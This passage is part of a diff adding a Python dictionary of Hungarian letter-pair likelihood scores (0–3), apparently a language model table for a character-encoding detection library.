60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 40: { # 'B' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 0, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 3, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 2, # 'i' + 22: 1, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 3, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 54: { # 'C' + 28: 1, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 1, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 0, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 2, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 0, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 1, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 1, # 'h' + 9: 1, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 3, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 1, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 45: { # 'D' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 0, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 0, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 3, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 1, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 1, # 'o' + 23: 0, # 'p' + 10: 2, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 2, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 1, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 0, # 'ű' + }, + 32: { # 'E' + 28: 1, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 1, # 'E' + 50: 1, # 'F' + 49: 2, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 2, # 'K' + 41: 2, # 'L' + 34: 2, # 'M' + 35: 2, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 2, # 'R' + 33: 2, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 1, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 2, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 3, # 'g' + 20: 1, # 'h' + 9: 1, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 2, # 'l' + 13: 2, # 'm' + 4: 2, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 2, # 's' + 3: 1, # 't' + 21: 2, # 'u' + 19: 1, # 'v' + 62: 1, # 'x' + 16: 0, # 'y' + 11: 3, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 0, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 0, # 'Ú' + 63: 1, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 1, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 50: { # 'F' + 28: 1, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 1, # 'E' + 50: 1, # 'F' + 49: 0, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 0, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 0, # 'V' + 55: 1, # 'Y' + 52: 0, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 1, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 2, # 'i' + 22: 1, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 2, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 0, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 0, # 'Ú' + 63: 1, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 2, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 49: { # 'G' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 2, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 1, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 2, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 2, # 'y' + 11: 0, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 0, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 0, # 'ű' + }, + 38: { # 'H' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 0, # 'D' + 32: 1, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 1, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 1, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 1, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 0, # 'V' + 55: 1, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 2, # 'i' + 22: 1, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 0, # 'n' + 8: 3, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 2, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 2, # 'Á' + 44: 2, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 1, # 'é' + 30: 2, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 39: { # 'I' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 1, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 2, # 'K' + 41: 2, # 'L' + 34: 1, # 'M' + 35: 2, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 2, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 2, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 2, # 'd' + 1: 0, # 'e' + 27: 1, # 'f' + 12: 2, # 'g' + 20: 1, # 'h' + 9: 0, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 2, # 'l' + 13: 2, # 'm' + 4: 1, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 2, # 's' + 3: 2, # 't' + 21: 0, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 0, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 53: { # 'J' + 28: 2, # 'A' + 40: 0, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 1, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 1, # 'o' + 23: 0, # 'p' + 10: 0, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 2, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 0, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 1, # 'é' + 30: 0, # 'í' + 25: 2, # 'ó' + 24: 2, # 'ö' + 31: 1, # 'ú' + 29: 0, # 'ü' + 42: 1, # 'ő' + 56: 0, # 'ű' + }, + 36: { # 'K' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 0, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 0, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 1, # 'f' + 12: 0, # 'g' + 20: 1, # 'h' + 9: 3, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 2, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 2, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 2, # 'ö' + 31: 1, # 'ú' + 29: 2, # 'ü' + 42: 1, # 'ő' + 56: 0, # 'ű' + }, + 41: { # 'L' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 2, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 3, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 2, # 'i' + 22: 1, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 0, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 2, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 2, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 0, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 34: { # 'M' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 0, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 3, # 'a' + 18: 0, # 'b' + 26: 1, # 'c' + 17: 0, # 'd' + 1: 3, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 3, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 3, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 2, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 2, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 1, # 'ű' + }, + 35: { # 'N' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 2, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 2, # 'Y' + 52: 1, # 'Z' + 2: 3, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 3, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 2, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 0, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 2, # 'y' + 11: 0, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 1, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 1, # 'ő' + 56: 0, # 'ű' + }, + 47: { # 'O' + 28: 1, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 1, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 2, # 'K' + 41: 2, # 'L' + 34: 2, # 'M' + 35: 2, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 2, # 'R' + 33: 2, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 1, # 'i' + 22: 1, # 'j' + 7: 2, # 'k' + 6: 2, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 1, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 1, # 's' + 3: 2, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 1, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 0, # 'Í' + 58: 1, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 46: { # 'P' + 28: 1, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 1, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 0, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 2, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 1, # 'f' + 12: 0, # 'g' + 20: 1, # 'h' + 9: 2, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 2, # 'r' + 5: 1, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 2, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 0, # 'Ú' + 63: 1, # 'Ü' + 14: 3, # 'á' + 15: 2, # 'é' + 30: 0, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 0, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 0, # 'ű' + }, + 43: { # 'R' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 2, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 1, # 'h' + 9: 2, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 0, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 2, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 2, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 2, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 33: { # 'S' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 2, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 3, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 1, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 1, # 'h' + 9: 2, # 'i' + 22: 0, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 1, # 'p' + 10: 0, # 'r' + 5: 0, # 's' + 3: 1, # 't' + 21: 1, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 3, # 'z' + 51: 2, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 37: { # 'T' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 1, # 'P' + 43: 2, # 'R' + 33: 1, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 1, # 'h' + 9: 2, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 0, # 't' + 21: 2, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 1, # 'z' + 51: 2, # 'Á' + 44: 2, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 2, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 57: { # 'U' + 28: 1, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 1, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 2, # 'S' + 37: 1, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 1, # 'e' + 27: 0, # 'f' + 12: 2, # 'g' + 20: 0, # 'h' + 9: 0, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 1, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 